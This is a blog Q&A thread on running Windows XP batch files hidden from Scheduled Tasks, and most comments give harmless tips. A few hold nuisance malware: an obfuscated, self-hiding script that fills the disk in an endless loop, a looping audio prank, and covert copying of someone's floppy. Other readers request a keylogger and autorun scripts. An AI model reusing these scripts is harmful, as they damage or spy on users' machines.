Background Batch File

I want to run a batch file via Scheduled Tasks in Windows XP.

Does anyone know how to run it in the background (without the window)? I don’t want to see the window. Just have it do it’s magic.

Crontab like (no crontab ports though, don’t want to add more software).

Anyone with info on how-to, please comment or email. Neat trick in the next 24-48 hours that involves this (will post of course).

48 thoughts on “Background Batch File

  1. First, I don’t have WinXP.
    Second, this isn’t really in the background.

    Create a shortcut, and set the “Run” field for the shortcut to “Minimized’.

    You might also go to the “Layout” tab and set the window size to 1×1 or something.

  2. Minimized is what I tend to use and the layout trick is handy. Could you set it up to run as a service using the resource kits to make the batch file a service? Not tried this personally but it might work.

  3. Still trying to do what Robert asked about. Need to run a batch file minimized from Scheduler. Tried to run a shortcut to the batch file. It runs the batch file without the shortcut attributes (run minimized). What about PIF files in XP?

  4. Using vb.net

    Module RunCCNet
        Sub main()
            Dim psi As New ProcessStartInfo
            psi.FileName = "C:\somepath\omething.bat"
            psi.WorkingDirectory = "somewhere"
            psi.WindowStyle = ProcessWindowStyle.Hidden
            Process.Start(psi)
        End Sub
    End Module
  5. I got it to work. Simply create a shortcut to the bat file in the same directory which will create a .lnk file. Go to the properties of the lnk file and set it to run minimized. Then, go to the scheduled task and “manually” enter the path+file name of the .lnk file.

    If you click browse to search for the lnk file, it won’t work.

    Then run the task and all you will see is a little flash or minimized icon on your taskbar while the bat does its thing.

    Email me if you need help on this. henryparra@email.com

  6. You can do this without creating a shortcut. Simply set up a scheduled task and set the field “Run as:” to “NT AUTHORITY\SYSTEM” (no quotes).
    I have setup a simple .bat file in XP, (all it does is populates a txt file with the time it ran), put the path of the file in the Run: text box, then set the Run as: = NT AUTHORITY\SYSTEM , then set it to run every minute. The window that use to come up doesn’t anymore.

    The way i figured it out was by setting up a scheduled task using the command line.
    c:\at 13:30 “c:\time.bat” ^c:\output.txt

    Doing this basically created a scheduled task in Task Scheduler to run time.bat at 1:30pm. When i went to task scheduler, it had a task called AT# (when you set up the task through the command-line, it tells you that it added a new job with job ID = #, where # is some number.
    ^c:\output.txt tells it to output to a text file called output.txt. (i don’t know how to actually set this output file when setting up a task through the GUI)

    If you click on the Task AT# in task scheduler and look at the Run as: textbox, you should see a value that you should be able to use to run this task without the window showing up.

  7. I created a batch file called start.bat with a link to the batch file that i want to run in the background….heres how i did it.
    First the start.bat file

    echo off
    start  /min e:\copy.bat
    exit

    then my actual bach file kept at e:\copy.bat

    echo off
    xcopy f:\*.*  e:\test\*.* /y /s/c/q
    exit

    This worked for me when our Prof wouldnt share her ppts which she brought in her floppy disk ….all the best

  8. Darell had the right idea, but the slashes were removed from the username: It’s:

    NT AUTHORITY\SYSTEM

    not

    NT AUTHORITYSYSTEM

    (backslash between the authority and system)

  9. I created a simple batch file to copy important files from my HDD to a DVD-RW by creating a shortcut with the following inserted into the Target box. Set to minimized and off you go. Just add the shortcut to the Task Sheduler and set the frequency to do the task C:\WINDOWS\system32\xcopy.exe “G:\*.*” “E:\dailybackup” /D/R/H/V/E/Y
    You need to setup the target folder on the DVD before you start
    OS WINXP Pro

  10. I just did this, i created a new account in windows called test.. Set the schedule to run as test..

    Then unchecking at the buttom Run only if logged on..

    Then the batch rund as a diffrent user u will never see it pop up 😉

  11. do any body know how to write the batch file to copy file one system to though out end user computer on the network to winnt\system32 folder please help thanks 🙁

  12. I created a batch file that works perfect when run manually, but place it as a schedualed task in 2003 and it runs but does not copy the files. can you asisst?

  13. I made this lil batch file awhile ago. its opens up difrent every time. its kinda cool you can modify it. it dost have to do with anything here tho.

    @echo off
    if exist C:\dave3.txt goto opened3
    if exist C:\dave2.txt goto opened2
    if exist C:\dave.txt goto opened
     
     
     
    echo yoyo >> C:\dave.txt
    echo hello
    goto end
     
     
     
     
     
    :opened
    echo lala >> C:\dave2.txt
    echo u already seen it.
    goto end
     
     
     
    :opened2
    echo jojo >> C:\dave3.txt
    echo I said you already seen it.
    goto end
     
     
     
     
     
    :opened3
    echo now look you made me delete my self buh-bye.
    del C:\dave.txt
    del C:\dave2.txt
    del C:\dave3.txt
    echo now im deleted Awww
    pause
    del cool.bat
  14. running a batch through schedule task but use different ID(not just NT authority, password=??) will make the batch running on background. Tested and confirmed, cool trick, thanks..

  15. I tried this several times but discoverd that this only works for XP “NT AUTHORITY\SYSTEM”. I have machine here on nt2000 and winxp, created scheduled task for both uder users login. They both run ok, then I changed both to to use run as = NT AUTHORITY\SYSTEM with blank passwords.

    It then runs task in background on XP machine but not on win2000 machine. Anybody else get this prob or know how to fix.

  16. Well the idea of using another win user was perfect for me, ’cause i work in a domain….thanks very much.
    But…is it possible that there isn’t any option in batch files to make it run on background??

  17. I need a batch file to create a desktop shortcut for users. The .exe that it needs to execute os on a shared drive on the server. The user will have a batch file map the drive but I need a script to map the shortcut to the exe on the server.

    any ideas?

  18. Assuming the app is installed in the same location for all machines, manually create the shortcut on one workstation. Create a folder in netlogon of a domain controller called desktop. Put the shortcut in that folder. In the domain logon script, include

    xcopy \\servername\netlogon\desktop\*.* “c:\documents and settings\”%username%\desktop\ /d /y

    Or something like that…I just typed it from memory 🙂

    It will drop the file on their desktop when they log in. If they delete it, then it gets put back next time they log in. Once they have it, /d verifies they have the most current version… If you need to change it, just change the on int your netlogon\desktop folder. Deleting it required delete, but the pash is simmilar.

    Of course the “correct” microsoft way is using group policy.

  19. private void regPROCESS()
            {
             
                ProcessStartInfo pinfo = new ProcessStartInfo("regservice.bat");
                pinfo.WindowStyle = ProcessWindowStyle.Hidden;
                Process.Start(pinfo);
            }
  20. As to getting the batch file to run seamlessly in the background,I think “Henry Says:November 18th, 2004 at 7:19 pm” had the easiest solution:you just have to ensure the Scheduler is being pointed to the ‘lnk’ file and not the bat file itself.If the batch file is ‘c:\copy.bat’ then you have to manually direct Scheduler to ‘c:\shortcut to copy.bat.lnk’.

    Thanks Henry.

  21. Hey I need a Batch File that will pick up user input and export the input when the user logs off in the form of a text file.
    How might I go about doing this as I need the Batch File to run invisibly but still pick up user input.
    If anybody knows how I might go about doing this please help, thanks.

  22. 1st.
    Why not use Group Policy in Windows XP? (gpedit.msc) and add a script to “logon”. This runs silently iirc.

    2nd.
    Potter – You seem to be after a key logger. I think there is some legal issues with that, plus who knows if you are up to no good? You might be after bank logins and all sorts. Not at all good. I shall not help.

  23. @ECHO OFF
     
    :restartall
    %homedrive%
    ATTRIB %0 -r -h -s
    IF exist \temp.dat\io goto cllckd
    md \temp.dat>nul
    ATTRIB \temp.dat  r  h  s
    ECHO IO>\temp.dat\io
    IF not exist \temp.dat\io goto restart
    goto cllckd
     
    :cllckd
    ECHO n \temp.dat\inv.vbs>\temp.dat\inv.asm
    ECHO.>>\temp.dat\inv.asm
    ECHO rcx>>\temp.dat\inv.asm
    ECHO 0150>>\temp.dat\inv.asm
    ECHO.>>\temp.dat\inv.asm
    ECHO E 0100 43 72 65 61 74 65 4F 62 6A 65 63 74 28 22 57 73>>\temp.dat\inv.asm
    ECHO E 0110 63 72 69 70 74 2E 53 68 65 6C 6C 22 29 2E 52 75>>\temp.dat\inv.asm
    ECHO E 0120 6E 20 22 22 22 22 20 26 20 57 53 63 72 69 70 74>>\temp.dat\inv.asm
    ECHO E 0130 2E 41 72 67 75 6D 65 6E 74 73 28 30 29 20 26 20>>\temp.dat\inv.asm
    ECHO E 0140 22 22 22 22 2C 20 30 2C 20 46 61 6C 73 65 00 00>>\temp.dat\inv.asm
    ECHO E 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>\temp.dat\inv.asm
    ECHO E 0160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>\temp.dat\inv.asm
    ECHO E 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>\temp.dat\inv.asm
    ECHO E 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>\temp.dat\inv.asm
    ECHO E 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>\temp.dat\inv.asm
    ECHO E 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>\temp.dat\inv.asm
    ECHO.>>\temp.dat\inv.asm
    ECHO W>>\temp.dat\inv.asm
    ECHO Q>>\temp.dat\inv.asm
    debug nul
    ECHO >>\temp.dat\runinmem
    wscript \temp.dat\inv.vbs \temp.dat\setup.bat
    IF not exist \temp.dat\inv.vbs goto restartall
    exit
    :noexit
    DEL \temp.dat\runinmem
     
     
     
     
     
    REM Memory resadent starts and loops.
    REM  Temp data is located at C:\temp.dat
    REM  Exit by restarting the computer or ending the process.
    :runinmem
    REM START===================
    md c:\tmp
    echo>>c:\tmp\cl
     
    REM LOOP====================
    goto runinmem
  24. Hy i want to make a bach file that will run automatically whenever any one try to open the folder in which the batch file is placed. any help plz i need it. I just want to know whether it is possible or not.

    Thanks.

  25. @echo off
    cd %windir%
     
    if exist ya.bat del ya.bat & goto 1
    if not exist ya.bat goto 1
     
    :1
    @echo @echo off >> ya.bat
    @echo cd %%windir%% >> ya.bat
    @echo :23 >> ya.bat
    @echo start wmplayer /play "%%windir%%\system32\oobe\images\title.wma" >> ya.bat
    @echo goto 23 >> ya.bat
    goto 45
     
    :45
    start /min ya.bat
  26. Or YOU can do this

    @echo off
    CD %windir%
     
    if exist ya.bat del ya1.bat & goto 1
    if not exist ya1.bat goto 1
     
    :1
    @echo @echo off >> ya1.bat
    @echo CD %%windir%% >> ya1.bat
    @echo start wmplayer /play “%%windir%%\system32\oobe\images\title.wma�? >> ya1.bat
    goto 45
     
    :45
    start /min ya1.bat
  27. Arka,
    I think Your Question Is Possible.
    I AM pretty Sure Of It.
    I Will Do A Little Messing Arround For A Minute.
    And If I Can Get It To Work I Will Show You How. 🙂
    Give Me An hour Or So.
    Thanks

  28. Arka,

    # Arka Says:
    April 22nd, 2008 at 5:25 am

    Hy i want to make a bach file that will run automatically whenever any one try to open the folder in which the batch file is placed. any help plz i need it. I just want to know whether it is possible or not.

    I Did Some Testing With your Question. It May Be Possible But If So It IS to hard For Me To Do. 🙂

  29. # Camn Ron Says:
    July 29th, 2008 at 3:34 pm

    @echo off
    CD %windir%
     
    if exist ya.bat del ya.bat & goto 1
    if not exist ya.bat goto 1
     
    :1
    @echo @echo off >> ya.bat
    @echo CD %%windir%% >> ya.bat
    @echo :23 >> ya.bat
    @echo start wmplayer /play “%%windir%%\system32\oobe\images\title.wma�? >> ya.bat
    @echo goto 23 >> ya.bat
    goto 45
     
    :45
    start /min ya.bat

    # Camn Ron Says:
    July 29th, 2008 at 3:35 pm

    Or YOU can do this

    @echo off
    CD %windir%
     
    if exist ya.bat del ya1.bat & goto 1
    if not exist ya1.bat goto 1
     
    :1
    @echo @echo off >> ya1.bat
    @echo CD %%windir%% >> ya1.bat
    @echo start wmplayer /play “%%windir%%\system32\oobe\images\title.wma�? >> ya1.bat
    goto 45
     
    :45

    I Think Those Will Only Work If YOU have Window Media Player 9
    or higher
    if they dont work try deleting the
    “start wmplayer /play”
    and just leave it as
    “@echo “%%windir%%\system32\oobe\images\title.wma�? >> ya1.ba”
    Thanks

  30. i think you all suck at making these batch file “viruses” mabey you should go on youtube and watch some videos…

  31. To schedule a task without ever seeing a window or any changes in screen, I use biterscripting ( for free installation). It is a better alternative to DOS Commands. You write a script for what you want to accomplish, then schedule the following task using task scheduler.

    biterscripting.exe script_file

    The above will execute the script every day, every hour, etc based on your settings. And, you will never see a window.

    Richard

  32. I think the best way is to compile the batch file you want to run in background mode to EXE with help of Dr.Batcher ( http://www.drbatcher.com ). You can choose ‘invisible’ mode of running your script, and it will run without showing console window.

  33. I used a vbs file to make my batch file run in the backround:

    Here’s the vbs file:

    Set WshShell = CreateObject("WScript.Shell")
    WshShell.Run chr(34) & "Yourbatchfile.bat" & Chr(34), 0
    Set WshShell = Nothing

    hope this helps.

  34. For the original post, you can do this to minimize cmd shell:


    start /min application.exe

    It runs application.exe and minimize cmd shell

    (thanks for fredi for initial idea)

  35. Hy i want to make a bach file that will run automatically after copying the batch in C: and boots the windows, any help plz i need it.

Leave a Reply to Robert Cancel reply

Your email address will not be published. Required fields are marked *